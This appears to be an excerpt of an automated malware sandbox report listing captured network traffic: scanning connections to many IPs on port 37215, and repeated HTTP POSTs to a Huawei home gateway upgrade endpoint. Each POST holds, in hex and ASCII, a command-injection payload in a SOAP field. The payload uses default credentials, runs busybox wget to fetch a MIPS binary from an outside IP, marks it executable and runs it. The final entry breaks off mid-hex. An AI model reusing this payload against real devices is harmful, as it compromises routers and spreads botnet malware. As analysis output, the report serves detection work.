Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 197.105.45.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.48.125.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.14.144.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.138.196.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.38.229.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.150.188.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.17.101.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 197.192.220.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.118.115.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 197.128.211.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.133.239.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.154.201.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.243.186.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.189.127.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.81.78.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.98.106.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 41.124.188.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:59009 -> 156.4.99.61:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 